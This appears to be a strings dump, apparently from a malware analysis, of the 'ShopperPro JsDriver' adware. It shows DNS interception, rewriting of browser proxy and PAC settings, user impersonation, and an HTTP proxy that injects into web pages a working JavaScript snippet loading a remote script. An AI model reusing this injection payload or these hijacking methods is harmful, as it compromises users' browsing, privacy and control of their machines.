[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d
[CServiceController::ChangeStartType] Name: %s
[CServiceController::ExecuteServer] Exit
[CServiceController::ExecuteServer] Enter
[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d
[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] Enter, %s
[CServiceController::Install] ___Error OpenService Failed: %d
[CServiceController::Install] ___Error QueryServiceStatus Failed: %d
[CServiceController::Install] ___Error CreateService Failed: %d
[CServiceController::Install] ___Error OpenSCManager Failed: %d
%s -%s -%s
[CServiceController::Install] ___Error GetModuleFileName Failed: %d
[CServiceController::Remove] ___Error OpenService Failed: %d
[CServiceController::Remove] ___Error OpenSCManager Failed: %d
[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d
[CServiceController::GetStatus] ___Error OpenService Failed: %d
[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d
[CServiceController::Start] The service %s was started
[CServiceController::Start] ___Error StartService Failed: %d
[CServiceController::Start] ___Error OpenService Failed: %d
[CServiceController::Start] ___Error OpenSCManager Failed: %d
[CServiceController::Start] Going to start the service %s
[CServiceController::Stop] The service %s was stopped
JsDriverService.exe
[CServiceController::Stop] ___Error ControlService Failed: %d
[CServiceController::Stop] ___Error OpenService Failed: %d
[CServiceController::Stop] Going to stop the service %s
[CServiceController::Stop] ___Error SetServiceStatus Failed: %d
[CServiceController::GetArgsFromCmd] Exit
[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE
[CServiceController::GetArgsFromCmd] Enter
[CServiceController::RunCommand] Args: %s
[CMutexLock::Open] ___Error %d, OpenMutex: %s
[CMutexLock::Open] ___Error %d, CreateMutex: %s
[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d
[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d
[CAcceleratorEvents::ReportStatistics]
[CAcceleratorEvents::OnReportNoAccelerationReason] %s
[CSaveWatchUrl::Work] Saving Info...
SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
[CLspController::SetRedirectFilter] IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u
[CLspController::SetVersionStatus] VesrionStatus = %d
[CLspController::GetVersionStatus] VesrionStatus = %d
[CLspController::UpdateVersionStatus] Status: %d (%d)
[CLspController::UpdateVersionStatus] New Status: %d
[CLspController::IsToAccelerate] Local ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---
[CLspController::IsToAccelerate] Global ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---
[CLspController::IsToAccelerate] Partner ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---
[CLspController::IsToAccelerate] iTunes ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---
[CLspController::IsToAccelerate] returns FALSE - status passthrough
[CLspController::IsToAccelerate] returns FALSE - g_PassThrough exists
[CLspController::IsToAccelerate] IP: %u.%u.%u.%u, Port: %u
[CLspController::StartAccelerationsEvent] ___Error OSSetEvent failed: %d
[CLspController::InitTunnelingState] g_PassThrough[ %s ] = %d
[CLspController::IsPartner] partner = %d
[CLspController::UpdateXMLRulesVersion] Version: %s (%s)
[CLspController::UpdateXMLRulesVersion] New Version: %s
[CLspController::IsIgnored] ---@@@ Port: %u @@@---
Downloader.exe
RecordingManager.exe
WebKit2WebProcess.exe
firefox.exe
iTunes.exe
[CLspController::DoLoad] Hook status %d
VVV.youtube.com
[CLspController::DoLoad] ___Error CSharedMemory Create() Local. LE: %d
[CLspController::SetPassThrough] g_PassThrough[ %s ] = %d
PassThroughState
[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData is Read-Only
[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData == NULL
[CLspController::SetPassThrough]
[CLspController::UpdatedPartnerDisableList] PartnerDisableList = %s
[CLspController::CreateSharedMemory] ___Error CSharedMemory CreateCriticalSection: %s. LE: %d
[CLspController::CreateSharedMemory] ___Error CSharedMemory Create: %s. LE: %d
[CLspController::CreateSharedMemory] ___Error CSharedMemory Create() Local. LE: %d
[CLspController::IsDomainExistInRules] Found - Template: %s
[CLspController::IsDomainExistInRules] Domain: %s
[CLspController::AddDnsResponse] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u, Ports: %u - %u
[CLspController::UpdateRedirectionIps] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u
[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d
[CImpersonate::Impersonate] Impersonated: %d
[CImpersonate::Revert] RevertToSelf - Error: %d
[CImpersonate::Revert] Impersonated: %d
[CImpersonate::Cleanup] Impersonated: %d
[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d
[CImpersonate::GetUserSID] The SID for %s is invalid.
[CImpersonate::GetUserSID] Not Enough Memory: %d
[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d
[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98
[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC
[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d
[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToWindowStation] CopySid - Error: %d
[CImpersonate::AddAceToWindowStation] AddAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d
[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d
[CImpersonate::AddAceToDesktop] AddAce - Error: %d
[CImpersonate::AddAceToDesktop] GetAce - Error: %d
[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d
[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS
[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d
[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS
[CImpersonate::OpenCurrentUserKey] Impersonated: %d
[CImpersonate::FindLoggedOnUser] Process32First - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d
[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer.exe
[CImpersonate::FindLoggedOnUser] Impersonated: %d
[CImpersonate::GetLogonUserName] Name: %s
[CImpersonate::GetLogonUserName] GetUserName - Error: %d
[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl
[CVA_Alert::OnDeserialize] ___Error get m_URL
user32.dll
WININET.DLL
kernel32.dll
d/d/%d d:d:d::d
[CFullController::IsProxySupported] ___Error Create Proxy Controller
[CFullController::IsProxySupported] Create Proxy Controller...
[CFullController::SetPassThrough]
[CFullController::Init] ___Error to Create IHttpEngineConfiguration
[CFullController::Start] ___Error ProxyRes = %d, LspRes = %d
[CFullController::Stop] ___Error ProxyRes = %d, LspRes = %d
[CProxyController::SetVersionStatus] Status: %d -> %d
[CProxyController::GetVersionStatus] Status: %d
[CProxyController::Init] ___Error to Create IHttpEngineConfiguration
[CProxyController::IsAloud] FALSE - There is a pac file: %s
[HttpProxyServer::CreatePacFile] ___Error: ConfigPath::GetPath. LE: %d
[HttpProxyServer::CreatePacFile] ___Error: WriteRedirectRulesToPacFile. LE: %d
[CDriverManager::IoControl] DeviceIoControl failed: %d
[CDriverController::GetRedirectedConnectionInfo] ___Error GET_CONN %d
[CDriverController::GetRedirectedConnectionInfo] Port %d
[CDriverController::SetRedirectInfo] to port %d
[CDriverController::SetRedirectInfo] ___Error REDIRECT_ALL device %d
[CDriverController::SetRedirectInfo] ___Error SET_PORT device %d
[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION mismatch R0 %d R3 %d
[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION device %d
[CDriverController::SetRedirectInfo] ___Error open device %d
\\.\svd
HttpHandleAll
HttpWorkerBufferLimit
HttpListenPort
HttpListenIP
RtmpListenPort
[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d
[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d
[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d
SOFTWARE\ShopperPro\JsDriver\%s\Original
SOFTWARE\ShopperPro\JsDriver\%s\Current
[CDnsProxyServer::is_in_redirection_rules] Found redirection Rule: %s
[CDnsProxyServer::load_dns_clients] IP: %s
[CDnsProxyServer::get_dns_servers] Dns Servers count: %d
[CDnsProxyServer::get_dns_servers] Dns Server: %s
[CDnsProxyServer::get_dns_servers] ___Error RegEnumKeyEx. LE: %d, Name: %s
[CDnsProxyServer::get_dns_servers] DhcpNameServer: %s
[CDnsProxyServer::get_dns_servers] NameServer: %s
[CDnsProxyServer::get_dns_servers] ___Error RegOpenKeyEx. LE: %d, Name: %s
[CDnsProxyServer::get_dns_servers] ___Error RegQueryInfoKey. LE: %d
[CDnsProxyServer::get_dns_servers] ___Error key: %s
SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces
[CDnsProxyServer::Start] ___Error CAsyncUdpSocketServer<CDnsProxyServer>::Start. LE: %d
[CDnsProxyServer::Start] Local IP: %d.%d.%d.%d
[CDnsProxyServer::Start] ___Error SafeGetHostByName. LE: %d, Host: %s
[CDnsProxyServer::Start] Host name: %s
[CDnsProxyServer::Start] ___Error gethostname. LE: %d
[CDnsProxyServer::dns_reverse_lookup] Name: %s
[CDnsProxyServer::dns_reverse_lookup] IP: %s
[CDnsProxyServer::add_dns_client] IP: %s
%u.%u.%u.%u
[CDnsProxyServer::is_dns_client] IP: %s
[CDnsProxyServer::save_dns_clients] IP: %s
[CDnsProxyServer::dns_send_reply] @@@ Found IP: %s @@@
[CDnsProxyServer::dns_send_reply] Domain: %s
[CDnsProxyServer::OnRecv] ___Error %x - SendTo timeout to the original dns server
[CDnsProxyServer::OnRecv] ___Error %x - Select timeout from the original dns server
[CDnsProxyServer::OnRecv] ___Error %x - RecvFrom timeout from the original dns server
[CDnsProxyServer::OnRecv] ___Error %x - SendTo the client the response from the original server
[CDnsProxyServer::OnRecv] ___Error Got from the original dns server a packet with invalid size of %d
[CDnsProxyServer::OnRecv] ___Error %x - Open new socket to forward dns query
[CDnsProxyServer::OnRecv] unsupported opcode: %d
[CDnsProxyServer::OnRecv] DNS query: %s
[CDnsProxyServer::OnRecv] DNS query from client Host: %s, Port: %d
[CDnsProxyServer::OnRecv] Got packet with invalid size of %d
StartPortRange
EndPortRange
</URL>
<URL>
CAcceleratedEventsThread::OnReportNoAccelerationReason
0.0.0.0
%s%lld%s
%s%d%s
<EMBED><URL>
[CAcceleratedEventsThread::ReportEmbedStreaming]
[CAcceleratedEventsThread::ReportStatistics]___Error empty param : URL Acc Url = %s, Normal URL = %s
[CAcceleratedEventsThread::ReportStatistics] %s
[CAcceleratedEventsThread::ReportStatistics]___Error encode Acc URL = %s
%s%s%s
[CAcceleratedEventsThread::ReportStatistics]___Error encode Normal URL = %s
[CAcceleratedEventsThread::ReportVideoID] XML = %s
<WATCH><URL>%s</URL></WATCH>
[CAcceleratedEventsThread::ReportVideoID] URL = %s
YOUTUBE.COM/GET_VIDEO?VIDEO_ID=
[CAcceleratedEventsThread::ReportFailureReason] %s
[CAcceleratedEventsThread::ReportStatistics]___Error encode URL = %s
[CAcceleratedEventsThread::ReportFailureReason]___Error empty param : URL Acc Url = %s, AccFailureReason = %s
[CAcceleratedEventsThread::OnReportStatistics]
[CAcceleratedEventsThread::ReportAccelerations]
[CAcceleratedEventsThread] - Start the Pipe Clients to the Engine & UI
[CAcceleratedEventsThread::ProcessEvent] ___Warning: Unsupported event (%d)
DestroyPipeEventThreadManager
CreatePipeEventThreadManager
[CDNSResponse::AnalyzeResponse] Found IP: %u.%u.%u.%u
[Mine_GetAddrInfoW] nodename: %S
[Mine_GetAddrInfoExA] pName: %s
[Mine_GetAddrInfoExW] pName: %S
[Mine_getaddrinfo] nodename: %s
[CDNSInterceptor::Detour] GetAddrInfoExW - %d
[CDNSInterceptor::Detour] GetAddrInfoExA - %d
[CDNSInterceptor::Detour] GetAddrInfoW - %d
[CDNSInterceptor::Detour] getaddrinfo - %d
[CDNSInterceptor::Detour] gethostbyname - %d
[CDNSInterceptor::Detour] ___Error LoadLibrary ws2_32.dll
ws2_32.dll
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d
[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d
[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d
[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d
[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d
[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d
[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL
[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p
[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
http=
[CIEInternetProxySettings::Save] %s - %s = %s
ListenPort
[EngineConfiguration::GetCurrentUserKey] User Key: %X
[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
HttpRedirectProxyPort
HttpRedirectProxyDomain
[CAcceleratorEventsData::OnDeserialize] ___Error get URL
[GZipWrapper::InflateGzipData] ___Error ReadString : %s
[GZipWrapper::InflateGzipData] ___Error Open file : %s
[GZipWrapper::InflateGzipData] ___Error WriteDataToFile : %s
GZipWrapper_%d.tmp
C:\ProgramData\tmp\
http_port
prefs.js
user.js
user_pref("network.proxy.
autoconfig_url
[CAsyncUpdate::DownloadProgress] Downloaded: %d, Total: %d
[CAsyncUpdate::StartUpdate] Download URL: %s
[CAsyncUpdate::StartUpdate] ___Error Sennd Update Command: %s
[CAsyncUpdate::StartUpdate] Update Page: %s
va_conf.dat
[CAsyncUpdate::DownloadComplete] ___Error Send Update Command: %s
[CAsyncUpdate::DownloadComplete] Result: %d, File: %s
1.0.0.0
Temp.dll
[CAsyncUpdate::AnalizeXMLResults] ___Error Trial DAT file: %s
[CAsyncUpdate::AnalizeXMLResults] Trial.dat saved to: %s
Trial.dat
RESULT.VA_TRIAL.CONFIG.DATA
Temp.zip
RESULT.VA_RES.RESOURCES.DOWNLOAD_URL
RESULT.VA_RES.RESOURCES.VERSION
RESULT.BLACKLIST.DATA
RESULT.SENDLOGRULE
RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_VIDEO_STRING
RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_FRAME_STRING
RESULT.ADS.SHOW
[CAsyncUpdate::AnalizeXMLResults] ___Error updating Rules DAT file: %s
[CAsyncUpdate::AnalizeXMLResults] Rules saved to: %s
RESULT.VA.CONFIG.SITES.ZIP
RESULT.VA.CONFIG.SITES.XMLVERSION
RESULT.VA.CONFIG.SITES.DATA
[CAsyncUpdate::UpdateSearchComplete] version status = %d
[CAsyncUpdate::UpdateSearchComplete] Result: %d, UpdateExist: %d
[CSANotifierMgr::UpdateResourceDll] ___Error: Removing %s. Err = %d
[CSANotifierMgr::UpdateResourceDll] ___Error: Renaming %s to %s. Err = %d
Old.dll
[DownloadMHTsStatus::DownloadComplete] ___Error: Renaming %s to %s. Err = %d
[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd
[CExecuteUpdate::OnDeserialize] ___Error get m_Directory
[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters
[CExecuteUpdate::OnDeserialize] ___Error get m_Operation
[CExecuteUpdate::OnDeserialize] ___Error get m_File
[CCoreConfig::InitConfig] Product Name %s UseRegistry %d
LastNum%d
LastID%d
1.1.4
%d/%d/%d %d:%d:%d
%s.PARAM
%s.ID
.CONDITIONS.CONDITION[%d]
.LANDING_URL
.ICON
.TOOLTIP
.NOTIFICATION_TYPE
.VALIDATE
.EXPIRATION_HOURS
.EXPIRATION_TIME
.NUM_OF_ICONS
.ANIMATION_TIME
.DISPLAY_TIME
.TYPE
.NUMBER
RESULT.LAMP
RESULT.ALERT
[Core::ShouldUpdate] %s
RESULT.LICENSE.EXPIRATION
RESULT.LICENSE.STATUS
RESULT.LASTERROR
[Core::RequestURL] Filename = %s, URL = %s
RESULT.USER.DAUI
RESULT.ANON.PW
RESULT.ANON.ID
RESULT.USER.PW
RESULT.USER.ID
[Core::AnalyzeXMLResult] Filename = %s
RESULT.STATS.COLLECT
RESULT.DISABLED_PARTNERS
RESULT.UPDATE.PAGE_URL
RESULT.UPDATE.DOWNLOAD_FILENAME
RESULT.UPDATE.DOWNLOAD_URL
RESULT.UPDATE.VERSION
RESULT.UPDATE.EXIST
Core.log
ddd
ddd
2.0.0.0
%DOMAIN%
%s=%s
&OldUserID=%s&OldPassword=%s
%s?%s
hXXp://online.%DOMAIN%.com/online/updateSBPID.aspx
CV=[core-version]&ProductID=[sb-pid]&UserID=[sb-uid]&Password=[sb-upw]&OS=[sb-os]
Password
[Core::SendInfo] Filename = %s, URL = %s
hXXp://online.%DOMAIN%.com/online/Report.aspx
[Core::HitStats] URL = %s
hXXp://pix.%DOMAIN%.com
[Core::BuildUpdateURL] URL = %s
&ElapsedTime=%d
[Core::BuildUpdateURL] ___ALERT___ Alert Info = %s
&DAUI=%s
&ActivationCode=%s&ActivationEmail=%s
%s?%s&V=[sb-ve]&VS=[sb-vs]&Beta=[sb-beta]&Aff=[sb-aff]&BundleID=[sb-bundle]&BrandID=[sb-brand]&PartnerList=[sb-partners]
[Core::CheckForUpdates] RequestURL FAILED
[Core::CheckForUpdates] RequestURL SUCCEEDED
[Core::CheckForUpdates] URL = %s
hXXp://online.%DOMAIN%.com/online/update.aspx
[Core::PerformAsyncUpdateCheck] URL = %s
&SBPIDS=%d
[Core::FindRegistrationInfoByKey] VA Product Found
[Core::FindRegistrationInfoByKey] DAP Product Found
[Core::FindRegistrationInfoByKey] Password is %s
[Core::FindRegistrationInfoByKey] SBPID is %s
[Core::FindRegistrationInfoByKey] Product is %s
[Core::FindRegistrationInfoByKey]
[Core::FindRegistrationInfo] ___Error open key %s
[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from %s
[Core::FindRegistrationInfo] - CurrentUSDKey is %s
[Core::FindRegistrationInfo] - Enum HKEY_CURRENT_USER\%s
[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from product key
[Core::RegisterProduct] RequestURL Fauled err = %d
[Core::RegisterProduct] RequestURL Succeeded
[Core::RegisterProduct] URL = %s
&LastResponse=%s
&TF=%s
&Retry=%d&LE=%d
hXXp://online.%DOMAIN%.com/online/Register.aspx
[Core::GenerateAnonymousID] URL = %s
hXXp://online.%DOMAIN%.com/online/RegisterAnon.aspx
[Core::PingServer] URL = %s
hXXp://online.%DOMAIN%.com/online/ka.aspx
InternetReadFile failed: %d
WriteFile failed: %d
Create output file failed: %d
QueryStatus not OK: %d
HttpQueryInfo failed: %d
InternetOpenUrl failed: %d
InternetOpen failed: %d
Content-Disposition: form-data; name="%s"
--%s--
Content-Type:multipart/form-data;boundary=%s
WaitingPost.xml
%%X
<?xml version="1.0" encoding="%s"?>
-%c%c%c%c%c%c%c%c%c%c
deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly
inflate 1.1.4 Copyright 1995-2002 Mark Adler
()$^.* ?[]|\-{},:=!
safari.exe
opera.exe
itunes.exe
iexplore.exe
chrome.exe
(build %d)
Windows 2000
Windows XP
Web Edition
Windows Server 2003,
Windows XP Professional x64 Edition
Windows Home Server
Windows Storage Server 2003
Windows Server 2003 R2,
Web Server Edition
Windows Server 2008 R2
Windows 8
Windows 7
Windows Server 2008
Windows Vista
[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d - Written %d/%d bytes
[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d ___Error invalid JobInfo
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\locale
[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - html file size unknown - ignore this request (Response)
[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - Try to Inject script... (Response)
[Inject OnHeader] URL %s, type %s, length %s, trans.encoding %s, cont.encoding %s
hXXp://repjs.shopper-pro.com/app/ping.ashx?product=ShopperProJs&action=%s&it=%d&os=%s&Rnd=%d&v=%s&usid=%s&aff=JS%s&pixguid=%s&text=%s
ProxyExtensionInj: can't open Config.json
Config.json
ProxyExtensionInj: can't open database1_0_0.ej
database1_0_0.ej
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Total written %d bytes
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - injected %d bytes
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error writing new header
[ProxyExtensionInj::OnHeader] FDM=%d -
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser ParseHeader
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser Initialize
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error BuildHeader
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpFileDownloadMgr
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpProxyServer
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid JobInfo
<script type='text/javascript'>!function(){'use strict';function doInj(){if(10!==  calls){var scriptElement=document.createElement('script');scriptElement.src='//4x3zy4ql-l8bu4n1j.netdna-ssl.com/fb.js?pn=JSDRIVER&v=2.7.0.2',scriptElement.type='text/javascript';var scripts=document.getElementsByTagName('script');if(scripts.length>0)scripts[0].parentNode.insertBefore(scriptElement,scripts[0]);else{var headBody=document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0];headBody?headBody.appendChild(scriptElement):setTimeout(function(){doInj()},10)}}}var calls=0;doInj()}();</script>
%%SID%%
%%USERID%%
%%SPARAM%%
%%SPARAMDATE%%
%%SPARAMPROD%%
%%SPARAMSUB%%
%ÛVERSION%%
%%SOURCE%%
%%COUNTRY%%
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - /HEAD position was found: %d
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error /HEAD position was not found
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error uncompress: %d
[ProxyExtensionInj::InjectScriptToWatchPage] Crash fix FDM=%d (%d),Req:%d
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Parsing Watch page file for Script injection
[InjHttpProxyServer]
[InjHttpProxyLocal::InjHttpProxyLocal] FDM=%d (%d)
[InjHttpProxyLocal::~InjHttpProxyLocal] FDM=%d (%d)
[InjHttpProxyLocal::PutChunk] FDM=%d (%d): After writing %d bytes into upper level
[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Going to write the %d bytes into the upper level
[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Read %d bytes from socket %d
[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Reading from socket %d
[InjHttpProxyLocal::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[InjHttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.
[InjHttpProxyServer::AcceptConnection] Going to initialize Worker: %d.
[InjHttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.
[InjFileDownloadMgr] FDM=%d
[InjHttpProxyRemote::InjHttpProxyRemote] FDM=%d (%d),Req:%d
[InjHttpProxyRemote::ConnectToDomain] FAILED FDM=%d (%d),Req:%d
[InjHttpProxyRemote::~InjHttpProxyRemote] FDM=%d (%d),Req:%d
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Request was written to Local
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Going to write request to Local
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Read %d bytes from socket %d
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Reading from socket %d
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the Job object is null.
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the current download state is %s.
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.
InjHttpProxyRemote::WriteCachedBufferToSocket
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.
